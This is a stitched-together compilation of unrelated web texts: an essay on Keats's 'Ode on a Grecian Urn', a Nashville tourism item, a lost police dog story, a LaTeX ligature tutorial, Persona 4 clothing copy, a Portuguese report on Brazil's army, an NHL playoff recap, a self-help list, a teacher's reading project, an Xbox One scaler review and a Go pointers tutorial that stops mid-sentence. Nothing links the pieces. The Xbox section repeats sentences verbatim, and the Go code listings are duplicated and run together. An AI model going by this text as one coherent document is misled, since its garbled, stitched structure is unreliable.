All ye know on earth – beauty, truth, these glorious abstractions, easily revered, more easily compromised. And that equation will serve people like you in your contingencies and trivial earthly need for reassurance that there is something to understand in life, and that you understand it. With the stress on the ye, I hear an insinuation that some higher, worthier form of knowing exists, whose propositions and parables far exceed the simplistic equation the urn offers us as our consolation.
Or do humankind and urn console each other? The urn consoles us for our transience and we console it for its inability to feel the kiss it holds suspended for two thousand years, unable to pursue the beloved or be pursued, unable to share in the sacrificial meal when the poor heifer is offered up to those vague and nameless deities towards which, even now, she raises her lustrous amber eyes.
I don’t think Keats meant (not that it’s important whether he did or didn’t) or believed the equation – if he had, he would have set it in his own authorial voice, which speaks with all the immense authority that found Keats in that mild May of 1819, the voice that speaks all the rest of the poem. By putting just those words in the urn’s mouth (so to speak) Keats proposes what our cronies overseas would call a rupture, a chasm in the texture of trust and sincerity we still insist on finding in poems. The urn tells us not what truth is, not what beauty is, but what we are.
—Robert Kelly, February 2010
The quotes given, except for Bridges, don’t have much range – from I.A. Richards to M.H. Abrams, we are throughout in the realm of the New Criticism, with the “Word According to Eliot” holding supreme sway. For all that I admire them, these critics shared two limitations evident in their commentary on Keats:
They’re prejudiced against Romanticism and skeptical of the philosophical underpinnings of Romantic aesthetics (Bloom called them out on this). They looked for complexity to the point that they imposed it — mostly, it would seem, as a way of satisfying their own intellectual vanity (7 types, etc.). No one was going to out-sophisticate them! Richards’s disdain for the gullibility of the common reader and Eliot’s mock-modest “I fail to understand it” and his “grammatically meaningless” exemplify this tendency. Eliot wants to prove his superiority to Keats himself (by looking down his nose at Keats’s sentimental abstraction), not just Keats’s readers – and yet Eliot’s the poet of “in my beginning is my end, in my end is my beginning,” etc. and “What the Thunder Said” – a pseudo-philosopher among poets if ever there was one.
Also, there’s the newfound aspiration to a “scientific” kind of literary criticism, modeled on empiricism and the scientific method (doubt as the vehicle of truth), most purely exemplified by Richards. Ask any real scientist – this is largely a sentimental construct in itself.
Brooks and Abrams waffle more sympathetically with their invocation of dramatic context, though frankly this poem is hardly King Lear (nor was it meant to be) and the Urn is hardly a character in the Shakespearian sense. The Urn is an emblem and the quotes are not, cannot be, meant to denote a speaking Urn. This bespeaks another overdone motif of mid-20th century critical orthodoxy: Persona is all. What they really mean is much closer to Williams’s “no ideas but in things” (which Keats is one of the greatest exemplars of, as a supreme poet of the senses and of startlingly immediate imagery) than it is to anything specifically “dramatic.”
Don’t get me wrong, I admire all these critics tremendously, love and admire Eliot’s poetry, and I believe that the New Criticism was a far cry better than most of the ideological and theoretical criticism that followed. But I think they are all (except maybe Bridges), missing the point almost deliberately.
The context of the quote, and the thrust of the poem, is pretty straightforward, actually — and pretty run-of-the-mill for its time. It’s the execution that makes the poem special.
The predominant philosopher for all the Romantics, from Blake to Yeats, was Plato. Plato was the prime philosopher behind 19th century idealist philosophy, and so he was the philosopher that the 20th century empiricists (logical positivists, Popper, etc.), including the aestheticians, rejected first. Keats’s main man in this respect was Joshua Reynolds. Joshua Reynolds’s aesthetics were influenced by Locke, but they were first and foremost Platonic, and Keats’s poem is an extraordinary expression of this most admired contemporary intellectual’s belief in the source of the power of art: the Platonic tenets that a) the contemplation of Beauty leads to Truth and b) the highest forms of art refer to things eternal and immutable.
It’s as simple as that, but I’d add that in this context there are two moments in the poem that wonderfully presage the conclusion in this context:
“Heard melodies are sweet, but those unheard / Are sweeter…” == pure Platonism (out of Pythagoras). Yeats couldn’t have said it better “Cold Pastoral!” – a great moment in the poem, and tougher and brighter and more surprising by far than the ending. Here we’re in the realm of “the sublime” as it was defined by Longinus, then Baudelaire, and more recently by Anne Carson. The sublime is cold, truth is cold, beauty is cold. So much for sentimentality. And so:
The value of Beauty cooled by Truth, hardened by truth, made honest by truth, the sense that all the pleasures of the senses are belated and second-hand: this is at the heart of what Keats (speaking through his megaphonic Urn) has to say as a “friend to man.” This is another way of saying that we can’t really appreciate the value of beauty, or create an honest beauty, without admitting the truth of death to the equation.
One last observation, maybe too cute, but irresistible in the face of Eliot’s huffy “grammatically meaningless”:
If you read the famous statement (pace I.A.) as an equation, i.e. “Beauty = truth truth beauty” what you have is a recipe – a recipe for beauty that is not mere “beauty,” but aesthetically ideal “Beauty.” In other words: real Beauty = one part beauty, two parts truth.
Nashville’s tourism officials have two more accolades to show off.
Travel site Lonely Planet ranked Nashville as one of the top 10 cities to visit next year — and it was the only U.S. destination to make the list. TripAdvisor says Nashville grew in popularity among international travelers by nearly 40 percent.
This builds upon previous high-profile attention from Condé Nast Traveler and National Geographic, among others.
Part of this boost comes from the Nashville Convention and Visitors Corporation's international marketing: For example, it's advertising the city on 160 cabs in London right now (with Nashville's New Year's Eve celebration on Broadway promoted on the seats inside the taxis). It’s also airing a promotional documentary about Nashville's music scene in Australia, and it hired a sales rep in Germany to bring in more of this lucrative tourism.
“The international visitor will visit more than one destination and stay longer than a week to 10 days," says Butch Spyridon, who oversees the city’s tourism arm.
It doesn’t hurt that ABC’s drama named after the city is airing in more than 50 countries. “Fortunately right now, the TV show has helped us reach people that we couldn’t afford to reach otherwise," he says.
Still, foreign tourists only make up 5 percent of visitors each year. The biggest challenge to getting more, Spyridon says, is that there are few direct international flights in and out of Nashville.
"Direct air service would be a huge help and a validation of the destination," he says.
Video has emerged of the moment Police dog Thames was reunited with his handler Constable Mike Wakefield.
The missing dog has even been given the all clear to return to work – after he and his handler have a few weeks of annual leave.
Thames came trotting out of the bush with his eyes shining.
Ross Giblin
"The vet says Thames is remarkably healthy for his ordeal. He's a bit skinny, stiff and sore but that's to be expected," a police spokesman said.
'We've had a good night at home and now we'll recoup, ease the muscles and then get back into work."
Four-year-old german shepherd Thames was found on Sunday afternoon "a bit ribby", with a slightly sore foot, but safe and well, after going missing in the Tararua Range west of Carterton during a search and rescue exercise last weekend.
Ross Giblin Constable Mike Wakefield walks out of Mt Holdsworth bush with his police dog Thames.
"He just sort of popped up and there he is, I think he got as much of a fright as we did," Wakefield said.
"I was pretty happy, pretty excited, just elation really. I gave him a cuddle."
He and search and rescue volunteer John McCann, an expert navigator in the rugged area, followed fresh tracks found on Saturday and again on Sunday morning until they found Thames about 1pm, sheltering below a bush on the exposed High Ridge, which rises to about 1000 metres in the Mt Holdsworth area.
After intensive searches by police and search and rescue teams for most of last week failed to find any sign of him, the search was being wound down. But Wakefield and his colleagues, especially Wairarapa police search and rescue co-ordinator Senior Constable Tony Matheson, refused to give up and the official search was extended for a last-ditch effort over the weekend.
They found a print of what looked like Thames's "big boofy foot" and tracked him until he appeared. Startled, he ran off – until Wakefield sat down and got food out.
"I whistled and called but he ran off as if to say 'come this way' before running back and giving me a big lick," Wakefield said.
"He wolfed down half of my salami which is a treat for him, I gave him a cuddle and we had a big play. I was just lost for words."
Thames had lost some weight but was in surprisingly good condition, with just a slight limp. He might have eaten moss and maybe the odd rat to keep going, Wakefield said.
Wakefield's first phone call, made immediately from the ridge, was to his wife and two young sons, anxiously awaiting news of the dog who was not only 50 per cent of Wairarapa's dog squad, but also a loved family pet.
They raced to the area and tramped in to meet them, and the group emerged about 5pm to cheers from a crowd of trampers, police and well-wishers, including Carterton Mayor John Booth.
Wellington police dog section boss Senior Sergeant Mark Davidson said he was close to giving up hope that Thames would be found alive. "It's a fantastic ending ... After five days, I thought it was not going to end well."
The loss of Thames would have been a heavy blow, since he was one of only two Wairarapa-based police dogs, and Wakefield would have had to start from scratch with a young replacement.
It was fitting Wakefield had personally found his lost companion, after a huge effort combing very difficult terrain. "He's one of those determined guys," Davidson said.
Wakefield said police were looking at ways to avoid a repeat of the unusual incident, believed to have happened when Thames followed the scent of another group of people taking part in last weekend's exercise and became separated from Wakefield, who was bush-bashing down a spur. He also hoped Thames had "learned his lesson".
But for now, he and Thames will visit the vet and enjoy a well-deserved break. "Recoup, refresh, then try and get back out and catch some burglars."
A bright-eyed Thames just seemed delighted to be back, with his tongue lolling and head high, straining at his leash to get to proferred pats, and barking excitedly at the sight of a rugby ball.
Examples of historical ligatures
There are a myriad of historical ligatures in modern European languages. However, many people are not aware of them. For example, the German Umlauts ä, ö, and ü are ligatures. The two dots arose from superscript e. The circumflex in French (e.g. ô) originates from an s in Latin that became silent. Cedilla (fr. cédille, e.g. ç), also called hook or tail, is a subscript z. The name literally means ‘little z’. There are many more examples in modern European and other languages, not necessarily originating from Latin or Germanic.
In TeX/LaTeX, typesetting these historical ligatures involves either the inputenc package or the backslash escape character (i.e. ‘\’). The first lets you type many special characters directly.
\documentclass{article} \usepackage[utf8]{inputenc} \begin{document} % Inputenc package ö, ä, ü, é, ê, ç %Manually \"o, \"a, \"u, \'e, \^e, \c{c} \end{document}
It is important that the option used is the same as the tex file encoding, here utf8 .
Examples of stylistic ligatures
Stylistic ligatures include f + adjacent letter (e.g. fi, fl, or ff) or the ampersand (i.e. &, see below). TeX produces f-ligatures by default. For example, notice the elongated hood of the (first) f in fi and ff:
\documentclass{article} \begin{document} % Default ligatures and ampersand ff, fi, fl, \& \end{document}
Note, the ampersand is a reserved character in LaTeX (e.g. for tabular column separation) and has to be escaped in any case.
For a comprehensive list of escapable characters see: The Comprehensive LaTeX Symbol List.
The ampersand: &
The ampersand, or &, is a stylistic ligatures, which originates from the Latin word et, meaning and. In other words, & is a ligature, which combines e and t. This becomes evident when typesetting ampersand in italics, e.g. using Computer Modern or Libre Caslon fonts:
\documentclass[border=5]{standalone} \usepackage[T1]{fontenc} \usepackage{librecaslon} \begin{document} {\fontfamily{cmr}\selectfont{\itshape\&}\par}{\itshape\&} \end{document}
To finish, a fun fact about ampersand: The word ampersand is a corruption of the phrase “and (&) per se (means) and”.
Source Wikipedia: Typographic Ligatures and Ampersand.
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We’ve been working closely with the wonderful team at ATLUS to launch an awesome first range, with designs inspired by our favourite characters, places and moments from the game. From Chie and Teddie, Yasogami High to the Midnight Channel – we’ve developed one of our biggest ever ranges, with loads of awesome treats to choose from…
Junes tee
Every day’s great at your Junes – especially when you’re part of the Investigation Team! Junes Department Store is at the heart of Inaba’s community – and its biggest mysteries. It also has an amazing selection of TVs that has to be seen to be believed. Time to celebrate everyday young life in style with this awesome tee…
Teddie raglan tee
Need a guide for The Midnight Channel? Then you need to meet Teddie! Super-cute and a master of un-bear-able puns, Teddie is also an indispensable friend with an incredible understanding of what lies in wait in The Midnight Channel. Inspired by his classic, unique look, this raglan tee helps you unleash your inner bear-sona!
Chie jacket
Love kung-fu and steak? Then it’s time to represent your inner Chie! Chie isn’t just one of Persona’s most enduring characters, she’s one of the finest videogame characters full-stop. Full of positive energy, she is always on hand to inspire and cheer on the Investigation Team. Rock her classic look every day with her unmistakable jacket… and we’ll be selling the badges too!
Yasogami tee, hoodie and varsity jacket
People say a good education is vital – and that’s definitely true if you’re at Yasogami High! One of the key locations for the Investigation Team, Yasogami High is where social links are forged and important lessons are learnt. Now you can enrol for the school of many gods by picking up this classic set of designs…
Arcana leggings
Do you know your Jester from your Emperor? Then time to show off your Arcana expertise! At the heart of the Persona Universe, the arcana are a vital and powerful part of the adventure – and one which all players have to master to succeed. These awesome leggings represent the 22 major arcana in all their glory…
The Midnight Channel tee
Some urban legends are more real than you think. The Midnight Channel is the tall tale at the heart of your adventures in Inaba. Next time you want to stare at a TV screen – alone, at midnight and in the rain – make sure you’re looking your best in this awesome t-shirt…
Kanji raglan tee
When the going gets tough, the tough call on Kanji Tatsumi! An integral and much-loved part of the Investigation Team, Kanji is always ready to get rough and rowdy. And now you can represent his own unique style, with this iconic skull and crossbones design on our classic 3/4 style raglan tee…
Obviously, with a game world that’s so huge and detailed, we can’t introduce everything all at once, so the more support we get for the first range, the more likely it is we’ll be able to continue to add more and more designs moving forward.
A Crítica - Manaus
O Exército Brasileiro está preparado para dar segurança ao País caso seja necessário – após possível impeachment da presidente Dilma Rousseff. A declaração foi dada pelo comandante-geral do Exército, general Villas Bôas, na noite desta sexta-feira (15) em Manaus, durante cerimônia de passagem do novo comandante Militar da Amazônia (CMA).
“Estamos preparados, mas antes existe toda uma ritualística a ser seguida, que envolve a segurança pública de todos os estados. Temos a expectativa de até chegarmos a esse desenlaço as coisas andarão tranquilamente”, declarou. “Podemos ser empregados por iniciativa do presidente, do Poder Judiciário ou do Legislativo”, explicou Villas Bôas.
Para o general Villas Bôas, o Exército Brasileiro está empenhado em contribuir para a manutenção da estabilidade do País. “Entendemos que é uma condição importante para que as instituições funcionem e encontrem os caminhos para superarmos essa crise”, ressaltou o comandante-geral.
Agradecimento e desabafo
O Comando Militar da Amazônia (CMA) tem um novo comandante. O General-de-Exército Geraldo Antonio Miotto assumiu o cargo, substituindo o General-de-Exército Guilherme Cals Theophilo, que passa ao Comando Logístico, em Brasília. A cerimônia de passagem, em Manaus, teve tom de despedida, agradecimento e também de desabafo.
Theophilo, que deixa o CMA após dois anos de trabalho, agradeceu a oportunidade, mas também fez um desabafo “por não ter feito mais pela Amazônia”, nas palavras dele, “por não ter conseguido firmar compromisso e comprometimento do resto do País com esta região tão rica e paradoxalmente tão carente”, disse.
“Infelizmente não obtive êxito em mostrar que o pré-sal está aqui em nossas mãos e nossos pés. Saio com uma dívida, que é fazer com que o restante do País olhe para nós de outra forma, que prestigiem a gente como fazem com o Sul do País, dando recursos para todos os órgãos que trabalham para a grandeza da Amazônia”, explicou.
ANAHEIM, Calif. -- Corey Perry and Ryan Getzlaf have been preparing for these moments for their entire adult lives. Nearly 14 years after the Anaheim Ducks drafted them together, they've built a mental connection that remains indelible through any playoff pressure or defensive determination.
So when Getzlaf found the puck and a sliver of space on the boards in the second overtime of a crucial playoff game Friday night, Perry's feet moved before his thoughts.
"Right to the net," Perry said. "He had eyes up, and he had time, and I was yelling for that puck the whole way."
After the unprecedented comeback required just to get back into Game 5, the Ducks finished it off with one more moment of hard-earned grace from their dynamic duo.
Perry scored 6:57 into the second OT after the Ducks rallied from a three-goal deficit in the final minutes of regulation, completing a spectacular 4-3 victory over the Edmonton Oilers and seizing a 3-2 lead in their second-round playoff series.
Anaheim became the first team in Stanley Cup playoff history to force overtime or win a playoff game after trailing by three goals with less than four minutes left in regulation, according to the Elias Sports Bureau.
While the Oilers cried foul over a no-call of goalie interference on Rickard Rakell's tying score with 15 seconds left in regulation, the Ducks celebrated their third straight win -- and the first home victory for either team in the series.
Perry, who finished with a goal and two assists, collected that pass from Getzlaf and waited out a sprawling Cam Talbot, who made 60 saves.
"That's will," said Getzlaf, who has scored 15 points in a spectacular postseason. "We willed it through, and did whatever we had to do. We scratched and clawed at the end and found a way to get ourselves back in that game and give ourselves an opportunity."
Game 6 is Sunday in Edmonton.
Getzlaf got the first goal of the comeback with 3:16 left in regulation, and Cam Fowler scored 35 seconds later before Rakell put the tying goal through a crowd of prone players to cap a stunning sequence -- all with goalie John Gibson pulled for an extra attacker.
On his 24th birthday, Rakell slipped a puck under a crowd that included a horizontal Ryan Kesler making some contact with Talbot. Video review found no goalie interference because Kesler had been shoved into Talbot by Darnell Nurse, and the Ducks celebrated madly.
"I don't even know what goalie interference is anymore, to be perfectly honest," Edmonton forward Milan Lucic said. "It's an absolute joke that especially two really good referees can't make the right call at the right time."
Leon Draisaitl, Connor McDavid and Drake Caggiula scored during a dominant second period, but the Oilers coughed up a big late lead despite solid play by Talbot.
Talbot acknowledged his own frustration over the no-call, but said: "At the same time, we had a 3-nothing lead with 3 1/2 minutes to go. We had every opportunity to win that game. ... They get a lucky bounce there, and it just started to unravel from there. We did a good job battling back in overtime, got a few good chances, but weren't on top of things."
Gibson made 35 saves, helping the Ducks move one win away from their second trip to the Western Conference finals in three seasons.
After a disastrous start to the series in Anaheim, the Ducks returned home with confidence and two gritty road wins, including an overtime victory in Game 4.
Edmonton appeared to be ready to run away with Game 5 in the second period. After Draisaitl's opener, McDavid capitalized on a two-man advantage by adroitly batting a puck out of midair for the fifth goal in his first Stanley Cup playoff run. Caggiula put the Oilers up 3-0 with a score off a 4-on-1 rush midway through the period.
But Edmonton couldn't hang on in regulation after the Ducks pulled Gibson and one of the most improbable rallies in NHL playoff history.
Game notes
1. Thinking that you are a victim.
You’re not a victim. So stop blaming other people or your circumstances for your problems. Just because you don’t like where you are now doesn’t mean that you can’t take personal responsibility to change it for the better. So get rid of that victim-mentality because it doesn’t help anything. In fact, it acts as an obstacle to success. Realize that you, and only you, are responsible for your destiny.
2. Thinking that you can change other people.
You can’t. I had to learn this the hard way. There was a time in my life when I thought I could “motivate” and “inspire” people to be their best selves. It took me a while to realize that the only thing that can change other people is themselves. If they don’t want to change—or don’t know how—then all of your efforts will be wasted. So don’t worry about other people. If you don’t like them “as is,” then you have the choice to not hang out with them anymore. But you don’t have the right to change them.
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3. Thoughts that constantly resist “What Is.”
Some things you can change. In fact, a LOT of things you can change. You can lose weight. You can find a better job. You can go back to school. You can work on your marriage. But there are some things you can’t change. Those things are simply “what is.” You can’t change that your boss is a jerk. You can change jobs, but you can’t change your boss. You can’t change the fact that you have to pay rent or your mortgage. But you can stop resisting it. Resisting the unchangeable does nothing more than frustrate you and make you miserable. So change what you can, and accept what you can’t.
4. Thinking that “The Grass is Always Greener on the Other Side.”
“If only I was as pretty as that girl, then I’d be happy.” Or “If only I was as rich as that guy, then I’d be happy.” Those kinds of thoughts aren’t true. Just because you think someone else has it better than you doesn’t mean they do. Maybe the pretty girl came from an abusive home and can’t get her life in order. And maybe the rich guy spends so much time at work that he never gets to see his family. The grass is not greener on the other side. So appreciate the grass you have. It’s your grass. So love it.
5. Having expectations of other people.
Expectations can be deadly to happiness, even if you think your expectation is reasonable, such as having your roommate or spouse do his/her share of the chores around the house. Just because you expect it doesn’t mean they will do it. Realize that your expectations come from your personal experiences and biases. They are not necessarily other people’s priority. You probably don’t like being expected to do things that you don’t want to do, so don’t impose your expectations on others. If you don’t like their behavior, either accept it, or move on.
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6. Thinking that having a significant other will complete you.
If you are not a whole person already, then having a romantic partner will not make you whole. Plus, it puts a lot of pressure on the other person to “make you happy.” You need to be happy with yourself with or without someone. Having a significant other doesn’t make you happier. Only you can make yourself happy.
7. Feeling that you always need to prove that you are right.
I always wonder why people will fight to the death to prove they are “right.” What’s the point? I think it’s because they don’t want to look weak. Or vulnerable. Or stupid. But I think admitting you are wrong is a much more noble and mature thing to do. Besides, everyone has a different opinion. So why not have yours and let them have theirs?
8. Worrying about what other people think.
Why do you care? Do you think they are judging you? I’m going to let you in on a little secret. No one is judging you as much as you are judging yourself. Other people are too busy judging themselves just like you that they probably don’t even give you a second thought! So do what makes you happy. And if others are judging you, then it’s their problem, not yours. Ignore them and be happy anyway.
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9. Thinking there is only ONE right and ONE wrong.
We live in a world where we like to think there is an objective reality. But guess what? Objective reality is an illusion. It doesn’t exist. Only subjective realities do. What one person thinks is the “truth” is not the truth for someone else. For example—who’s right? The Republicans or the Democrats? Well, it depends on who you ask, right? Everyone thinks something is right because it fits their life and the way they look at the world. And that’s it. Period. End of story.
10. Worrying about the future because you feel unprepared.
I love this saying: “Worrying is like praying for what you don’t want.” And if you believe in the power of prayer, then you know that sending out thoughts and emotions into the Universe/God (whatever your belief system) works much of the time. So instead, be here in the NOW. Now is all you have. So be present and stop worrying about the future because you can only control it to a certain extent.
11. Thinking that money equals happiness.
We live in a capitalistic culture that values money and achievement. We think that people who have a lot of money are somehow better than those who don’t. But that’s simply not true. I’m sure there are plenty of happy monks in the world who probably don’t hold a dollar to their names. Or someone working at McDonald’s may be really happy while some billionaires aren’t. So don’t fall into the trap of thinking you have to be rich to be happy. It simply isn’t true. Money is nice, but it doesn’t make you happy. Only you can do that.
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12. Believing that the past determines your future.
Just because you came from a poor family, or made mistakes in the past does not mean that you can’t make your future better. If you have labeled yourself as a “failure” because of your past, then you will only continue your “failure” attitude into the future. And if you’ve heard of the self-fulfilling prophecy phenomenon, then you know that what you think, you become. So like I said in the opening paragraph: “Change Your Thinking, Change Your Life!”
Teaching is probably one of the oldest professions in India. From the old Gurukuls to the modern times’ international schools, one thing that remains common between then and now is the teacher.
No matter how much technology advances, we will still need teachers to guide us. They share a unique bond with their students which go much beyond just the academic walls.
There are some teachers who fulfill their duty perfectly – teach students, give them grades and go home. Then there are those who give their heart and soul to this profession. Teaching is not just a source of income to them but an opportunity to bring a change. And, when such people come forward for a larger good, we see the impact.
Priti Gandhi, principal of Kalol Primari School, Gandhinagar, Gujarat is among those few who go an extra mile to impart knowledge and wisdom to the young minds.
She started an initiative to inculcate a reading habit among the students of a government school by starting a home library and a ‘reading corner’ project for those who can’t afford to buy books.
“I always wanted to do something which could benefit kids at large and, with great support from my husband Yogesh Acharya, I managed to take forward the initiative,” she says.
Making best friends out of books
“Reading is a great habit, it not only gives you good knowledge but also gives you a sense of language, improves your vocabulary and enhances your imagination. Children should enjoy reading,” she says.
Gandhi did a survey of the Kalol taluk and found that there was not a single library for kids. The students she used to work with belonged to a very economically weak community that could not afford to buy new books.
She decided to give a book kit to the students. She purchased an aluminum bag and put 20 books in that. The books covered various topics and subjects, and then she gave that bag to a student for a month. Once the student is done reading the books from the bag, he or she would return it at the end of the month.
“We used the aluminum bag as the living condition in the houses of these kids is not very good. So, rats and other creatures might spoil the books,” Gandhi says.
Slowly the idea picked up and she started it as a regular activity. She now has around 54 such kits which she distributes to the students on a monthly basis. Various donors have come forward to help Gandhi with this initiative and funded the project.
She also converted a waste land into a reading corner.
“I saw a corner of the land being misused by some people so I thought to use it for a better purpose. I got it cleaned and put some chairs and reading tables. Now a lot of children come there everyday after school to read and spend time,” she says.
She decorated the space by colouring the walls and putting up posters and involved the students in the decoration. She also organized books according to levels and keep them in the reading corner for students to pick up freely. In the end, the students’ progress was tracked through tests.
The impact
Gandhi has seen a lot of changes in the students since the time they started reading. “The kids have started taking an interest in the classes as they already know most of the things through the books they read. Their vocabulary has also improved,” she says.
The future
Currently Gandhi has supported 150 students through her books. She wants to greatly increase the number in the future.
“Currently we don’t have enough resources to distribute bags and kits to every student. I would like to expand this initiative and make the materials available to all the students,” she says.
Gandhi was also included in the list of 100 teachers as part of “Teachers as Transformers: Innovations In Gujarat’s State Schools”
First things first, though: what went wrong with the pre-patch scaler? Well, most notably, image quality was compromised by a poorly judged sharpening filter that actually emphasised jagged edges, while a distinct gamma shift was also visible on several games, resulting in unnaturally high contrasts that didn't exactly complement the artificially enhanced edges and upscaling artefacts. Ultimately, rather than helping titles such as Call of Duty: Ghosts and Assassin's Creed 4 better stand up to PS4 equivalents running at native 1080p, the scaler made them look significantly worse.
Up until the new firmware shipped over the weekend, the only way to circumvent the sharpening filter on native 720p titles was by manually switching the console to match the game resolution, thus letting your TV or monitor take care of the scaling. However, this constant swapping between display modes was obviously a hassle and most people would never bother. It didn't solve the problem anyway: while games such as Dead Rising 3, Killer Instinct and Call of Duty appeared smoother and more natural this way rather than using the scaler, forcing 720p output didn't seem to entirely disable the unwanted filter. A close look at edges on a pixel level showed that the sharpening effect (halos around objects) was still present, just operating with a significantly lower intensity. Furthermore, the technique simply didn't work on games that rendered in resolutions higher than 720p but below 1080p, such as Assassin's Creed (1600x900) and indeed the precious Titanfall beta (1408x792).
So, how much of a difference does the new Xbox One firmware make? Is the sharpening effect gone, and what changes if any have been made to the scaling algorithm and the existing gamma set-up? In the run-up to the Xbox One launch, Microsoft promised us a quality upscaling solution, so we couldn't help wonder whether this update would finally deliver...
After the update it is clear that the unsightly halos caused by the sharpening filter are completely gone. A close look at the pixel structure reveals that the only artefacts on-screen are the ones created by resizing the image from 900p to 1080p. As such the edges of foliage and finely detailed objects now appear smoother and more defined than before. After the update it is clear that the unsightly halos caused by the sharpening filter are completely gone. A close look at the pixel structure reveals that the only artefacts on-screen are the ones created by resizing the image from 900p to 1080p. As such the edges of foliage and finely detailed objects now appear smoother and more defined than before. Our previous method of manually forcing 720p output on the Xbox One and letting our display do the scaling improved things massively, even before the update, dramatically reducing the sharpening effect around edges. However, the update disables these edge artefacts more clearly, negating the need to use our HDTV's superior scaling capabilities. The removal of the sharpening filter takes away some of the rough, overly processed look from Call of Duty: Ghosts. However, the poor-quality scaling used by the game itself means that jaggies and other artefacts are still more visible than we'd like - something that this update is powerless to improve.
First up, the 1600x900 Assassin's Creed 4 is definitely improved - the sharpening effect has gone, removing the halos around detail. What we have now is an image very similar to the launch version on PS4 prior to its 1080p patch. The removal of the sharpening filter is also evident in titles rendering natively in 720p, resulting in a similar boost in overall picture quality. As with AC4, there's less harshness to fine detail across the games previously affected by the destructive sharpening effect. The improvement really stands out in Killer Instinct, with characters and scenery now completely free from the processed look that previously characterised the artwork.
With that said, not every game benefits to the same extent. In particular, the poor-quality scaling used in Call of Duty: Ghosts still gives the visuals a muddy appearance compared to the 1080p PS4 game. Indeed, upon reviewing our video captures it becomes clear that while the sharpening effect is gone, the quality of the actual scaling performed by the Xbox One hardware seems unchanged. The same core algorithms still seem to be at work following the firmware update, it's just the sharpening filter that has gone.
The update also fails to tackle the contrast/gamma boosting that is visible in these games, so we still see an unnatural bias to both light and dark areas, with Killer Instinct and Call of Duty: Ghosts noticeably affected. It appears that the sharpening filter and gamma boosting properties are separate entities entirely, and in this case Microsoft has simply decided to keep its preferred high-contrast output intact - at least for now.
Scaling quality remains unchanged before and after the update, so there are still noticeable artefacts around edges and sub-pixel elements in Titanfall, although without the sharpening filter these compromises stand out less obviously than they used to do. Scaling quality remains unchanged before and after the update, so there are still noticeable artefacts around edges and sub-pixel elements in Titanfall, although without the sharpening filter these compromises stand out less obviously than they used to do. One of the native 720p titles to benefit most from the recent update, Killer Instinct now features a much cleaner look than with the filter previously applied. Fine details are better resolved across the artwork, and geometry edges appear smoother. While the update does indeed remove the unsightly halos from sub-1080p games in the Xbox One, the boosted gamma set-up remains in effect. This leads to crushing of details rendered in dark areas, while bright highlights still appear rather overblown.
The assets on this page should give you a sense of what's changed and what hasn't. You can see that the strong halos that previously appeared around various edges in games like Assassin's Creed 4 and Titanfall are gone, allowing detail in the artwork to come across without giving textures a rough and grainy appearance or presenting quite so many prominent jagged edges. AC4 probably demonstrates this best, with the 900p resolution showing up fewer artefacts than the 1408x792 Titanfall beta, where the unusual framebuffer size doesn't seem to scale quite so comfortably to 1080p.
It's interesting to note that the majority of native 1080p titles - including Need for Speed: Rivals, Lego Marvel Super Heroes and Tomb Raider - do not have gamma issues at all. Developer contacts tell us that the phenomenon is linked to the use of the Xbox One scaler in combination with the utilisation of multiple display planes (allowing native and sub-native elements to blend in the final framebuffer). This is backed up by our experience with Battlefield 4. The pre-final code utilised the Xbox One hardware scaler and featured an unnatural gamma shift, while the release version saw the implementation of a software scaler created by DICE itself that resolved the colour balance issue in addition to removing the sharpening effect.
Overall, then, the new Xbox One firmware update has changed things for the better, but you shouldn't expect an enormous boost in the quality of the final image. The unsightly sharpening filter has been consigned to the scrapheap of technological history, removing a 'feature' that really shouldn't have been there in the first place, but while the resulting improvement to picture quality is considerable and mostly positive, colour balance is still an issue, and the quality of the scaling itself is unchanged.
I am asked quite a bit about when and when not to use pointers in Go. The problem most people have, is that they try to make this decision based on what they think the performance tradeoff will be. Hence the problem, don’t make coding decisions based on unfounded thoughts you may have about performance. Make coding decisions based on the code being idiomatic, simple, readable and reasonable.
My use of pointers is based on discoveries I have made looking at code from the standard library. There are always exceptions to these rules, but what I will show you is common practice. It starts with classifying the type of value that needs to be shared. These type classifications are built-in, struct and reference types. Let’s look at each one individually.
Built-In Types
Go’s built-in types represent primitive data values that are the building blocks for managing and working with data. I group these types collectively as the set of boolean, numeric and string types. When declaring functions and methods that accept values of these types, the standard library rarely shares them with a pointer.
Let’s start by looking at the isShellSpecialVar function from the env package:
Listing 1
http://golang.org/src/os/env.go
38 func isShellSpecialVar(c uint8) bool {
39 switch c {
40 case ‘*’, ‘#’, ‘$’, ‘@’, ‘!’, ‘?’, ‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’:
41 return true
43 return false
44 } 38 func isShellSpecialVar(c uint8) bool {39 switch c {40 case ‘*’, ‘#’, ‘$’, ‘@’, ‘!’, ‘?’, ‘0’, ‘1’, ‘2’, ‘3’, ‘4’, ‘5’, ‘6’, ‘7’, ‘8’, ‘9’:41 return true42 }43 return false44 }
The
isShellSpecialVar
function in listing 1 is declared to accept a value of type
uint8
and return a value of type
bool
. For the caller to use this function, they must pass a copy of their
uint8
type value into the function. This is the same for the return value. A copy of the function’s
bool
type value is being returned back to the caller.Next, let’s look at the
getShellName
function from the same
env
package:
Listing 2
http://golang.org/src/os/env.go
54 func getShellName(s string) (string, int) {
55 switch {
56 case s[0] == ‘{’:
66 return "", 1 // Bad syntax; just eat the brace.
67 case isShellSpecialVar(s[0]):
68 return s[0:1], 1
74 return s[:i], i
75 } 54 func getShellName(s string) (string, int) {55 switch {56 case s[0] == ‘{’:66 return "", 1 // Bad syntax; just eat the brace.67 case isShellSpecialVar(s[0]):68 return s[0:1], 169 }74 return s[:i], i75 }
The
getShellName
function in listing 2 is declared to accept a value of type
string
and return two values, one of type
string
and the other of type
int
. A
string
is a special built-in type in Go that represents an immutable slice of bytes. Since this slice can’t grow, the capacity value is not associated with its slice header . It is best to treat values of type
string
the same way you treat boolean and numeric type values, as a primitive data value.When a call is made to
getShellName
, the caller passes a copy of its
string
value into the function. The function generates a new
string
value and returns a copy of that value back to the caller. All the values being passed in and out of this function are copies of the original values.This practice of sharing copies of
string
values is very prevalent in the
strings
package:
Listing 3
http://golang.org/src/strings/strings.go
620 func Trim(s string, cutset string) string {
621 if s == "" || cutset == "" {
622 return s
624 return TrimFunc(s, makeCutsetFunc(cutset))
625 } 620 func Trim(s string, cutset string) string {621 if s == "" || cutset == "" {622 return s623 }624 return TrimFunc(s, makeCutsetFunc(cutset))625 }
All of the functions in the
strings
package accept copies of the caller’s
string
values and return copies of the
string
values they create. Listing 3 shows the implementation of the
Trim
function. The function accepts copies of two
string
values, and returns a copy of either the first
string
value that is passed in or a copy of a new
